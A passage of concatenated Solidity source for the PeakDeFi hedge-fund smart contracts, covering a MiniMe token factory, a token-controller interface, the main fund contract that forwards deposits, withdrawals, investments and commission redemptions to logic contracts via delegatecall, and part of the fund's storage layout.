if (_token == address(0)) {
address(uint160(owner())).transfer(address(this).balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(address(this));
require(token.transfer(owner(), balance));
emit ClaimedTokens(_token, owner(), balance);
}
////////////////
// Events
////////////////
event ClaimedTokens(address indexed _token, address indexed _owner, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
////////////////
// MiniMeTokenFactory
////////////////
/// @dev This contract is used to generate clone contracts from a contract.
/// In solidity this is the way to create a contract from a contract of the
/// same class
contract MiniMeTokenFactory {
event CreatedToken(string symbol, address addr);
/// @notice Update the DApp by creating a new token with new functionalities
/// the msg.sender becomes the owner of this clone token
/// @param _parentToken Address of the token being cloned
/// @param _snapshotBlock Block of the parent token that will
/// determine the initial distribution of the clone token
/// @param _tokenName Name of the new token
/// @param _decimalUnits Number of decimals of the new token
/// @param _tokenSymbol Token Symbol for the new token
/// @param _transfersEnabled If true, tokens will be able to be transferred
/// @return The address of the new token contract
function createCloneToken(
address payable _parentToken,
uint _snapshotBlock,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
address(this),
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.transferOwnership(msg.sender);
emit CreatedToken(_tokenSymbol, address(newToken));
return newToken;
}
}
pragma solidity 0.5.17;
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) public payable returns(bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
pragma solidity 0.5.17;
import "./PeakDeFiStorage.sol";
import "./derivatives/CompoundOrderFactory.sol";
/**
* @title The main smart contract of the PeakDeFi hedge fund.
* @author Zefram Lou (Zebang Liu)
*/
contract PeakDeFiFund is
PeakDeFiStorage,
Utils(address(0), address(0), address(0)),
TokenController
{
/**
* @notice Passes if the fund is ready for migrating to the next version
*/
modifier readyForUpgradeMigration {
require(hasFinalizedNextVersion == true);
require(
now >
startTimeOfCyclePhase.add(
phaseLengths[uint256(CyclePhase.Intermission)]
)
);
_;
}
/**
* Meta functions
*/
function initParams(
address payable _devFundingAccount,
uint256[2] calldata _phaseLengths,
uint256 _devFundingRate,
address payable _previousVersion,
address _usdcAddr,
address payable _kyberAddr,
address _compoundFactoryAddr,
address _peakdefiLogic,
address _peakdefiLogic2,
address _peakdefiLogic3,
uint256 _startCycleNumber,
address payable _oneInchAddr,
address _peakRewardAddr,
address _peakStakingAddr
) external {
require(proxyAddr == address(0));
devFundingAccount = _devFundingAccount;
phaseLengths = _phaseLengths;
devFundingRate = _devFundingRate;
cyclePhase = CyclePhase.Intermission;
compoundFactoryAddr = _compoundFactoryAddr;
peakdefiLogic = _peakdefiLogic;
peakdefiLogic2 = _peakdefiLogic2;
peakdefiLogic3 = _peakdefiLogic3;
previousVersion = _previousVersion;
cycleNumber = _startCycleNumber;
peakReward = PeakReward(_peakRewardAddr);
peakStaking = PeakStaking(_peakStakingAddr);
USDC_ADDR = _usdcAddr;
KYBER_ADDR = _kyberAddr;
ONEINCH_ADDR = _oneInchAddr;
usdc = ERC20Detailed(_usdcAddr);
kyber = KyberNetwork(_kyberAddr);
__initReentrancyGuard();
}
function initOwner() external {
require(proxyAddr == address(0));
_transferOwnership(msg.sender);
}
function initInternalTokens(
address payable _repAddr,
address payable _sTokenAddr,
address payable _peakReferralTokenAddr
) external onlyOwner {
require(controlTokenAddr == address(0));
require(_repAddr != address(0));
controlTokenAddr = _repAddr;
shareTokenAddr = _sTokenAddr;
cToken = IMiniMeToken(_repAddr);
sToken = IMiniMeToken(_sTokenAddr);
peakReferralToken = IMiniMeToken(_peakReferralTokenAddr);
}
function initRegistration(
uint256 _newManagerRepToken,
uint256 _maxNewManagersPerCycle,
uint256 _reptokenPrice,
uint256 _peakManagerStakeRequired,
bool _isPermissioned
) external onlyOwner {
require(_newManagerRepToken > 0 && newManagerRepToken == 0);
newManagerRepToken = _newManagerRepToken;
maxNewManagersPerCycle = _maxNewManagersPerCycle;
reptokenPrice = _reptokenPrice;
peakManagerStakeRequired = _peakManagerStakeRequired;
isPermissioned = _isPermissioned;
}
function initTokenListings(
address[] calldata _kyberTokens,
address[] calldata _compoundTokens
) external onlyOwner {
// May only initialize once
require(!hasInitializedTokenListings);
hasInitializedTokenListings = true;
uint256 i;
for (i = 0; i < _kyberTokens.length; i++) {
isKyberToken[_kyberTokens[i]] = true;
}
CompoundOrderFactory factory = CompoundOrderFactory(compoundFactoryAddr);
for (i = 0; i < _compoundTokens.length; i++) {
require(factory.tokenIsListed(_compoundTokens[i]));
isCompoundToken[_compoundTokens[i]] = true;
}
}
/**
* @notice Used during deployment to set the PeakDeFiProxy contract address.
* @param _proxyAddr the proxy's address
*/
function setProxy(address payable _proxyAddr) external onlyOwner {
require(_proxyAddr != address(0));
require(proxyAddr == address(0));
proxyAddr = _proxyAddr;
proxy = PeakDeFiProxyInterface(_proxyAddr);
}
/**
* Upgrading functions
*/
/**
* @notice Allows the developer to propose a candidate smart contract for the fund to upgrade to.
* The developer may change the candidate during the Intermission phase.
* @param _candidate the address of the candidate smart contract
* @return True if successfully changed candidate, false otherwise.
*/
function developerInitiateUpgrade(address payable _candidate)
public
returns (bool _success)
{
(bool success, bytes memory result) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(
this.developerInitiateUpgrade.selector,
_candidate
)
);
if (!success) {
return false;
}
return abi.decode(result, (bool));
}
/**
* @notice Transfers ownership of RepToken & Share token contracts to the next version. Also updates PeakDeFiFund's
* address in PeakDeFiProxy.
*/
function migrateOwnedContractsToNextVersion()
public
nonReentrant
readyForUpgradeMigration
{
cToken.transferOwnership(nextVersion);
sToken.transferOwnership(nextVersion);
peakReferralToken.transferOwnership(nextVersion);
proxy.updatePeakDeFiFundAddress();
}
/**
* @notice Transfers assets to the next version.
* @param _assetAddress the address of the asset to be transferred. Use ETH_TOKEN_ADDRESS to transfer Ether.
*/
function transferAssetToNextVersion(address _assetAddress)
public
nonReentrant
readyForUpgradeMigration
isValidToken(_assetAddress)
{
if (_assetAddress == address(ETH_TOKEN_ADDRESS)) {
nextVersion.transfer(address(this).balance);
} else {
ERC20Detailed token = ERC20Detailed(_assetAddress);
token.safeTransfer(nextVersion, token.balanceOf(address(this)));
}
}
/**
* Getters
*/
/**
* @notice Returns the length of the user's investments array.
* @return length of the user's investments array
*/
function investmentsCount(address _userAddr)
public
view
returns (uint256 _count)
{
return userInvestments[_userAddr].length;
}
/**
* @notice Returns the length of the user's compound orders array.
* @return length of the user's compound orders array
*/
function compoundOrdersCount(address _userAddr)
public
view
returns (uint256 _count)
{
return userCompoundOrders[_userAddr].length;
}
/**
* @notice Returns the phaseLengths array.
* @return the phaseLengths array
*/
function getPhaseLengths()
public
view
returns (uint256[2] memory _phaseLengths)
{
return phaseLengths;
}
/**
* @notice Returns the commission balance of `_manager`
* @return the commission balance and the received penalty, denoted in USDC
*/
function commissionBalanceOf(address _manager)
public
returns (uint256 _commission, uint256 _penalty)
{
(bool success, bytes memory result) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(this.commissionBalanceOf.selector, _manager)
);
if (!success) {
return (0, 0);
}
return abi.decode(result, (uint256, uint256));
}
/**
* @notice Returns the commission amount received by `_manager` in the `_cycle`th cycle
* @return the commission amount and the received penalty, denoted in USDC
*/
function commissionOfAt(address _manager, uint256 _cycle)
public
returns (uint256 _commission, uint256 _penalty)
{
(bool success, bytes memory result) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(
this.commissionOfAt.selector,
_manager,
_cycle
)
);
if (!success) {
return (0, 0);
}
return abi.decode(result, (uint256, uint256));
}
/**
* Parameter setters
*/
/**
* @notice Changes the address to which the developer fees will be sent. Only callable by owner.
* @param _newAddr the new developer fee address
*/
function changeDeveloperFeeAccount(address payable _newAddr)
public
onlyOwner
{
require(_newAddr != address(0) && _newAddr != address(this));
devFundingAccount = _newAddr;
}
/**
* @notice Changes the proportion of fund balance sent to the developers each cycle. May only decrease. Only callable by owner.
* @param _newProp the new proportion, fixed point decimal
*/
function changeDeveloperFeeRate(uint256 _newProp) public onlyOwner {
require(_newProp < PRECISION);
require(_newProp < devFundingRate);
devFundingRate = _newProp;
}
/**
* @notice Allows managers to invest in a token. Only callable by owner.
* @param _token address of the token to be listed
*/
function listKyberToken(address _token) public onlyOwner {
isKyberToken[_token] = true;
}
/**
* @notice Allows managers to invest in a Compound token. Only callable by owner.
* @param _token address of the Compound token to be listed
*/
function listCompoundToken(address _token) public onlyOwner {
CompoundOrderFactory factory = CompoundOrderFactory(
compoundFactoryAddr
);
require(factory.tokenIsListed(_token));
isCompoundToken[_token] = true;
}
/**
* @notice Moves the fund to the next phase in the investment cycle.
*/
function nextPhase() public {
(bool success, ) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(this.nextPhase.selector)
);
if (!success) {
revert();
}
}
/**
* Manager registration
*/
/**
* @notice Registers `msg.sender` as a manager, using USDC as payment. The more one pays, the more RepToken one gets.
* There's a max RepToken amount that can be bought, and excess payment will be sent back to sender.
*/
function registerWithUSDC() public {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(this.registerWithUSDC.selector)
);
if (!success) {
revert();
}
}
/**
* @notice Registers `msg.sender` as a manager, using ETH as payment. The more one pays, the more RepToken one gets.
* There's a max RepToken amount that can be bought, and excess payment will be sent back to sender.
*/
function registerWithETH() public payable {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(this.registerWithETH.selector)
);
if (!success) {
revert();
}
}
/**
* @notice Registers `msg.sender` as a manager, using tokens as payment. The more one pays, the more RepToken one gets.
* There's a max RepToken amount that can be bought, and excess payment will be sent back to sender.
* @param _token the token to be used for payment
* @param _donationInTokens the amount of tokens to be used for registration, should use the token's native decimals
*/
function registerWithToken(address _token, uint256 _donationInTokens)
public
{
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.registerWithToken.selector,
_token,
_donationInTokens
)
);
if (!success) {
revert();
}
}
/**
* Intermission phase functions
*/
/**
* @notice Deposit Ether into the fund. Ether will be converted into USDC.
*/
function depositEther(address _referrer) public payable {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(this.depositEther.selector, _referrer)
);
if (!success) {
revert();
}
}
function depositEtherAdvanced(
bool _useKyber,
bytes calldata _calldata,
address _referrer
) external payable {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.depositEtherAdvanced.selector,
_useKyber,
_calldata,
_referrer
)
);
if (!success) {
revert();
}
}
/**
* @notice Deposit USDC Stablecoin into the fund.
* @param _usdcAmount The amount of USDC to be deposited. May be different from actual deposited amount.
*/
function depositUSDC(uint256 _usdcAmount, address _referrer) public {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.depositUSDC.selector,
_usdcAmount,
_referrer
)
);
if (!success) {
revert();
}
}
/**
* @notice Deposit ERC20 tokens into the fund. Tokens will be converted into USDC.
* @param _tokenAddr the address of the token to be deposited
* @param _tokenAmount The amount of tokens to be deposited. May be different from actual deposited amount.
*/
function depositToken(
address _tokenAddr,
uint256 _tokenAmount,
address _referrer
) public {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.depositToken.selector,
_tokenAddr,
_tokenAmount,
_referrer
)
);
if (!success) {
revert();
}
}
function depositTokenAdvanced(
address _tokenAddr,
uint256 _tokenAmount,
bool _useKyber,
bytes calldata _calldata,
address _referrer
) external {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.depositTokenAdvanced.selector,
_tokenAddr,
_tokenAmount,
_useKyber,
_calldata,
_referrer
)
);
if (!success) {
revert();
}
}
/**
* @notice Withdraws Ether by burning Shares.
* @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount.
*/
function withdrawEther(uint256 _amountInUSDC) external {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(this.withdrawEther.selector, _amountInUSDC)
);
if (!success) {
revert();
}
}
function withdrawEtherAdvanced(
uint256 _amountInUSDC,
bool _useKyber,
bytes calldata _calldata
) external {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.withdrawEtherAdvanced.selector,
_amountInUSDC,
_useKyber,
_calldata
)
);
if (!success) {
revert();
}
}
/**
* @notice Withdraws Ether by burning Shares.
* @param _amountInUSDC Amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount.
*/
function withdrawUSDC(uint256 _amountInUSDC) public {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(this.withdrawUSDC.selector, _amountInUSDC)
);
if (!success) {
revert();
}
}
/**
* @notice Withdraws funds by burning Shares, and converts the funds into the specified token using Kyber Network.
* @param _tokenAddr the address of the token to be withdrawn into the caller's account
* @param _amountInUSDC The amount of funds to be withdrawn expressed in USDC. Fixed-point decimal. May be different from actual amount.
*/
function withdrawToken(address _tokenAddr, uint256 _amountInUSDC) external {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.withdrawToken.selector,
_tokenAddr,
_amountInUSDC
)
);
if (!success) {
revert();
}
}
function withdrawTokenAdvanced(
address _tokenAddr,
uint256 _amountInUSDC,
bool _useKyber,
bytes calldata _calldata
) external {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.withdrawTokenAdvanced.selector,
_tokenAddr,
_amountInUSDC,
_useKyber,
_calldata
)
);
if (!success) {
revert();
}
}
/**
* @notice Redeems commission.
*/
function redeemCommission(bool _inShares) public {
(bool success, ) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(this.redeemCommission.selector, _inShares)
);
if (!success) {
revert();
}
}
/**
* @notice Redeems commission for a particular cycle.
* @param _inShares true to redeem in PeakDeFi Shares, false to redeem in USDC
* @param _cycle the cycle for which the commission will be redeemed.
* Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber.
*/
function redeemCommissionForCycle(bool _inShares, uint256 _cycle) public {
(bool success, ) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(
this.redeemCommissionForCycle.selector,
_inShares,
_cycle
)
);
if (!success) {
revert();
}
}
/**
* @notice Sells tokens left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer.
* @param _tokenAddr address of the token to be sold
* @param _calldata the 1inch trade call data
*/
function sellLeftoverToken(address _tokenAddr, bytes calldata _calldata)
external
{
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.sellLeftoverToken.selector,
_tokenAddr,
_calldata
)
);
if (!success) {
revert();
}
}
/**
* @notice Sells CompoundOrder left over due to manager not selling or KyberNetwork not having enough volume. Callable by anyone. Money goes to developer.
* @param _orderAddress address of the CompoundOrder to be sold
*/
function sellLeftoverCompoundOrder(address payable _orderAddress) public {
(bool success, ) = peakdefiLogic2.delegatecall(
abi.encodeWithSelector(
this.sellLeftoverCompoundOrder.selector,
_orderAddress
)
);
if (!success) {
revert();
}
}
/**
* @notice Burns the RepToken balance of a manager who has been inactive for a certain number of cycles
* @param _deadman the manager whose RepToken balance will be burned
*/
function burnDeadman(address _deadman) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(this.burnDeadman.selector, _deadman)
);
if (!success) {
revert();
}
}
/**
* Manage phase functions
*/
function createInvestmentWithSignature(
address _tokenAddress,
uint256 _stake,
uint256 _maxPrice,
bytes calldata _calldata,
bool _useKyber,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.createInvestmentWithSignature.selector,
_tokenAddress,
_stake,
_maxPrice,
_calldata,
_useKyber,
_manager,
_salt,
_signature
)
);
if (!success) {
revert();
}
}
function sellInvestmentWithSignature(
uint256 _investmentId,
uint256 _tokenAmount,
uint256 _minPrice,
uint256 _maxPrice,
bytes calldata _calldata,
bool _useKyber,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.sellInvestmentWithSignature.selector,
_investmentId,
_tokenAmount,
_minPrice,
_maxPrice,
_calldata,
_useKyber,
_manager,
_salt,
_signature
)
);
if (!success) {
revert();
}
}
function createCompoundOrderWithSignature(
bool _orderType,
address _tokenAddress,
uint256 _stake,
uint256 _minPrice,
uint256 _maxPrice,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.createCompoundOrderWithSignature.selector,
_orderType,
_tokenAddress,
_stake,
_minPrice,
_maxPrice,
_manager,
_salt,
_signature
)
);
if (!success) {
revert();
}
}
function sellCompoundOrderWithSignature(
uint256 _orderId,
uint256 _minPrice,
uint256 _maxPrice,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.sellCompoundOrderWithSignature.selector,
_orderId,
_minPrice,
_maxPrice,
_manager,
_salt,
_signature
)
);
if (!success) {
revert();
}
}
function repayCompoundOrderWithSignature(
uint256 _orderId,
uint256 _repayAmountInUSDC,
address _manager,
uint256 _salt,
bytes calldata _signature
) external {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.repayCompoundOrderWithSignature.selector,
_orderId,
_repayAmountInUSDC,
_manager,
_salt,
_signature
)
);
if (!success) {
revert();
}
}
/**
* @notice Creates a new investment for an ERC20 token.
* @param _tokenAddress address of the ERC20 token contract
* @param _stake amount of RepTokens to be staked in support of the investment
* @param _maxPrice the maximum price for the trade
*/
function createInvestment(
address _tokenAddress,
uint256 _stake,
uint256 _maxPrice
) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.createInvestment.selector,
_tokenAddress,
_stake,
_maxPrice
)
);
if (!success) {
revert();
}
}
/**
* @notice Creates a new investment for an ERC20 token.
* @param _tokenAddress address of the ERC20 token contract
* @param _stake amount of RepTokens to be staked in support of the investment
* @param _maxPrice the maximum price for the trade
* @param _calldata calldata for 1inch trading
* @param _useKyber true for Kyber Network, false for 1inch
*/
function createInvestmentV2(
address _sender,
address _tokenAddress,
uint256 _stake,
uint256 _maxPrice,
bytes memory _calldata,
bool _useKyber
) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.createInvestmentV2.selector,
_sender,
_tokenAddress,
_stake,
_maxPrice,
_calldata,
_useKyber
)
);
if (!success) {
revert();
}
}
/**
* @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user.
* The user can sell only part of the investment by changing _tokenAmount.
* @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with
* the original buy price and however much tokens that are not sold.
* @param _investmentId the ID of the investment
* @param _tokenAmount the amount of tokens to be sold.
* @param _minPrice the minimum price for the trade
*/
function sellInvestmentAsset(
uint256 _investmentId,
uint256 _tokenAmount,
uint256 _minPrice
) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.sellInvestmentAsset.selector,
_investmentId,
_tokenAmount,
_minPrice
)
);
if (!success) {
revert();
}
}
/**
* @notice Called by user to sell the assets an investment invested in. Returns the staked RepToken plus rewards/penalties to the user.
* The user can sell only part of the investment by changing _tokenAmount.
* @dev When selling only part of an investment, the old investment would be "fully" sold and a new investment would be created with
* the original buy price and however much tokens that are not sold.
* @param _investmentId the ID of the investment
* @param _tokenAmount the amount of tokens to be sold.
* @param _minPrice the minimum price for the trade
*/
function sellInvestmentAssetV2(
address _sender,
uint256 _investmentId,
uint256 _tokenAmount,
uint256 _minPrice,
bytes memory _calldata,
bool _useKyber
) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.sellInvestmentAssetV2.selector,
_sender,
_investmentId,
_tokenAmount,
_minPrice,
_calldata,
_useKyber
)
);
if (!success) {
revert();
}
}
/**
* @notice Creates a new Compound order to either short or leverage long a token.
* @param _orderType true for a short order, false for a levarage long order
* @param _tokenAddress address of the Compound token to be traded
* @param _stake amount of RepTokens to be staked
* @param _minPrice the minimum token price for the trade
* @param _maxPrice the maximum token price for the trade
*/
function createCompoundOrder(
address _sender,
bool _orderType,
address _tokenAddress,
uint256 _stake,
uint256 _minPrice,
uint256 _maxPrice
) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.createCompoundOrder.selector,
_sender,
_orderType,
_tokenAddress,
_stake,
_minPrice,
_maxPrice
)
);
if (!success) {
revert();
}
}
/**
* @notice Sells a compound order
* @param _orderId the ID of the order to be sold (index in userCompoundOrders[msg.sender])
* @param _minPrice the minimum token price for the trade
* @param _maxPrice the maximum token price for the trade
*/
function sellCompoundOrder(
address _sender,
uint256 _orderId,
uint256 _minPrice,
uint256 _maxPrice
) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.sellCompoundOrder.selector,
_sender,
_orderId,
_minPrice,
_maxPrice
)
);
if (!success) {
revert();
}
}
/**
* @notice Repys debt for a Compound order to prevent the collateral ratio from dropping below threshold.
* @param _orderId the ID of the Compound order
* @param _repayAmountInUSDC amount of USDC to use for repaying debt
*/
function repayCompoundOrder(
address _sender,
uint256 _orderId,
uint256 _repayAmountInUSDC
) public {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.repayCompoundOrder.selector,
_sender,
_orderId,
_repayAmountInUSDC
)
);
if (!success) {
revert();
}
}
/**
* @notice Emergency exit the tokens from order contract during intermission stage
* @param _sender the address of trader, who created the order
* @param _orderId the ID of the Compound order
* @param _tokenAddr the address of token which should be transferred
* @param _receiver the address of receiver
*/
function emergencyExitCompoundTokens(
address _sender,
uint256 _orderId,
address _tokenAddr,
address _receiver
) public onlyOwner {
(bool success, ) = peakdefiLogic.delegatecall(
abi.encodeWithSelector(
this.emergencyExitCompoundTokens.selector,
_sender,
_orderId,
_tokenAddr,
_receiver
)
);
if (!success) {
revert();
}
}
/**
* Internal use functions
*/
// MiniMe TokenController functions, not used right now
/**
* @notice Called when `_owner` sends ether to the MiniMe Token contract
* @return True if the ether is accepted, false if it throws
*/
function proxyPayment(
address /*_owner*/
) public payable returns (bool) {
return false;
}
/**
* @notice Notifies the controller about a token transfer allowing the
* controller to react if desired
* @return False if the controller does not authorize the transfer
*/
function onTransfer(
address, /*_from*/
address, /*_to*/
uint256 /*_amount*/
) public returns (bool) {
return true;
}
/**
* @notice Notifies the controller about an approval allowing the
* controller to react if desired
* @return False if the controller does not authorize the approval
*/
function onApprove(
address, /*_owner*/
address, /*_spender*/
uint256 /*_amount*/
) public returns (bool) {
return true;
}
function() external payable {}
/**
PeakDeFi
*/
/**
* @notice Returns the commission balance of `_referrer`
* @return the commission balance and the received penalty, denoted in USDC
*/
function peakReferralCommissionBalanceOf(address _referrer)
public
returns (uint256 _commission)
{
(bool success, bytes memory result) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(
this.peakReferralCommissionBalanceOf.selector,
_referrer
)
);
if (!success) {
return 0;
}
return abi.decode(result, (uint256));
}
/**
* @notice Returns the commission amount received by `_referrer` in the `_cycle`th cycle
* @return the commission amount and the received penalty, denoted in USDC
*/
function peakReferralCommissionOfAt(address _referrer, uint256 _cycle)
public
returns (uint256 _commission)
{
(bool success, bytes memory result) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(
this.peakReferralCommissionOfAt.selector,
_referrer,
_cycle
)
);
if (!success) {
return 0;
}
return abi.decode(result, (uint256));
}
/**
* @notice Redeems commission.
*/
function peakReferralRedeemCommission() public {
(bool success, ) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(this.peakReferralRedeemCommission.selector)
);
if (!success) {
revert();
}
}
/**
* @notice Redeems commission for a particular cycle.
* @param _cycle the cycle for which the commission will be redeemed.
* Commissions for a cycle will be redeemed during the Intermission phase of the next cycle, so _cycle must < cycleNumber.
*/
function peakReferralRedeemCommissionForCycle(uint256 _cycle) public {
(bool success, ) = peakdefiLogic3.delegatecall(
abi.encodeWithSelector(
this.peakReferralRedeemCommissionForCycle.selector,
_cycle
)
);
if (!success) {
revert();
}
}
/**
* @notice Changes the required PEAK stake of a new manager. Only callable by owner.
* @param _newValue the new value
*/
function peakChangeManagerStakeRequired(uint256 _newValue)
public
onlyOwner
{
peakManagerStakeRequired = _newValue;
}
}
pragma solidity 0.5.17;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/ownership/Ownable.sol";
import "./lib/ReentrancyGuard.sol";
import "./interfaces/IMiniMeToken.sol";
import "./tokens/minime/TokenController.sol";
import "./Utils.sol";
import "./PeakDeFiProxyInterface.sol";
import "./peak/reward/PeakReward.sol";
import "./peak/staking/PeakStaking.sol";
/**
* @title The storage layout of PeakDeFiFund
* @author Zefram Lou (Zebang Liu)
*/
contract PeakDeFiStorage is Ownable, ReentrancyGuard {
using SafeMath for uint256;
enum CyclePhase {Intermission, Manage}
enum VoteDirection {Empty, For, Against}
enum Subchunk {Propose, Vote}
struct Investment {
address tokenAddress;
uint256 cycleNumber;
uint256 stake;
uint256 tokenAmount;
uint256 buyPrice; // token buy price in 18 decimals in USDC
uint256 sellPrice; // token sell price in 18 decimals in USDC
uint256 buyTime;
uint256 buyCostInUSDC;
bool isSold;
}
// Fund parameters
uint256 public constant COMMISSION_RATE = 15 * (10**16); // The proportion of profits that gets distributed to RepToken holders every cycle.
uint256 public constant ASSET_FEE_RATE = 1 * (10**15); // The proportion of fund balance that gets distributed to RepToken holders every cycle.
uint256 public constant NEXT_PHASE_REWARD = 1 * (10**18); // Amount of RepToken rewarded to the user who calls nextPhase().
uint256 public constant COLLATERAL_RATIO_MODIFIER = 75 * (10**16); // Modifies Compound's collateral ratio, gets 2:1 from 1.5:1 ratio
uint256 public constant MIN_RISK_TIME = 3 days; // Mininum risk taken to get full commissions is 9 days * reptokenBalance
uint256 public constant INACTIVE_THRESHOLD = 2; // Number of inactive cycles after which a manager's RepToken balance can be burned
uint256 public constant ROI_PUNISH_THRESHOLD = 1 * (10**17); // ROI worse than 10% will see punishment in stake
uint256 public constant ROI_BURN_THRESHOLD = 25 * (10**16); // ROI worse than 25% will see their stake all burned
uint256 public constant ROI_PUNISH_SLOPE = 6; // repROI = -(6 * absROI - 0.5)
uint256 public constant ROI_PUNISH_NEG_BIAS = 5 * (10**17); // repROI = -(6 * absROI - 0.5)
uint256 public constant PEAK_COMMISSION_RATE = 20 * (10**16); // The proportion of profits that gets distributed to PeakDeFi referrers every cycle.
// Instance variables
// Checks if the token listing initialization has been completed.
bool public hasInitializedTokenListings;
// Checks if the fund has been initialized
bool public isInitialized;
// Address of the RepToken token contract.
address public controlTokenAddr;
// Address of the share token contract.
address public shareTokenAddr;
// Address of the PeakDeFiProxy contract.
address payable public proxyAddr;
// Address of the CompoundOrderFactory contract.
address public compoundFactoryAddr;
// Address of the PeakDeFiLogic contract.
address public peakdefiLogic;
address public peakdefiLogic2;
address public peakdefiLogic3;
// Address to which the development team funding will be sent.
address payable public devFundingAccount;
// Address of the previous version of PeakDeFiFund.
address payable public previousVersion;
// The number of the current investment cycle.
uint256 public cycleNumber;
// The amount of funds held by the fund.
uint256 public totalFundsInUSDC;
// The total funds at the beginning of the current management phase
uint256 public totalFundsAtManagePhaseStart;
// The start time for the current investment cycle phase, in seconds since Unix epoch.
uint256 public startTimeOfCyclePhase;
// The proportion of PeakDeFi Shares total supply to mint and use for funding the development team. Fixed point decimal.
uint256 public devFundingRate;
// Total amount of commission unclaimed by managers
uint256 public totalCommissionLeft;
// Stores the lengths of each cycle phase in seconds.
uint256[2] public phaseLengths;
// The number of managers onboarded during the current cycle
uint256 public managersOnboardedThisCycle;
// The amount of RepToken tokens a new manager receves
uint256 public newManagerRepToken;
// The max number of new managers that can be onboarded in one cycle
uint256 public maxNewManagersPerCycle;
// The price of RepToken in USDC
uint256 public reptokenPrice;
// The last cycle where a user redeemed all of their remaining commission.
mapping(address => uint256) internal _lastCommissionRedemption;
// Marks whether a manager has redeemed their commission for a certain cycle
mapping(address => mapping(uint256 => bool))
internal _hasRedeemedCommissionForCycle;
// The stake-time measured risk that a manager has taken in a cycle
mapping(address => mapping(uint256 => uint256)) internal _riskTakenInCycle;
// In case a manager joined the fund during the current cycle, set the fallback base stake for risk threshold calculation
mapping(address => uint256) internal _baseRiskStakeFallback;
// List of investments of a manager in the current cycle.
mapping(address => Investment[]) public userInvestments;
// List of short/long orders of a manager in the current cycle.
mapping(address => address payable[]) public userCompoundOrders;
// Total commission to be paid for work done in a certain cycle (will be redeemed in the next cycle's Intermission)
mapping(uint256 => uint256) internal _totalCommissionOfCycle;
// The block number at which the Manage phase ended for a given cycle
mapping(uint256 => uint256) internal _managePhaseEndBlock;
// The last cycle where a manager made an investment
